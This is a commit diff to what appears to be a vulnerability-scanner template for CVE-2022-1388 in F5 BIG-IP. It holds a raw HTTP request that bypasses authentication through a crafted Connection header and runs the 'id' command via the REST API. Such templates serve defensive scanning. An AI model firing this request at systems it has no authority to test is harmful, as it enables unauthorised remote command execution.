Update CVE-2022-1388.yaml

patch-1
Prince Chaddha 2022-05-09 14:06:32 +05:30 committed by GitHub
parent 955e67ca1f
commit 2209df5576
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 7 additions and 2 deletions

View File

@ -12,8 +12,13 @@ info:
exposure; this is a control plane issue only.
reference:
- https://support.f5.com/csp/article/K23605346
metadata:
verified-by: rootup
tags: bigip,cve,cve2022,rce,mirai
variables:
auth: "admin:"
requests:
- raw:
- |
@ -21,16 +26,16 @@ requests:
Host: {{Hostname}}
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a
Authorization: Basic {{base64(auth)}}
Content-Type: application/json
{
"command": "run",
"utilCmdArgs": "-c id"
}
matchers:
- type: word
words:
- "commandResult"
- "uid="
condition: and
condition: and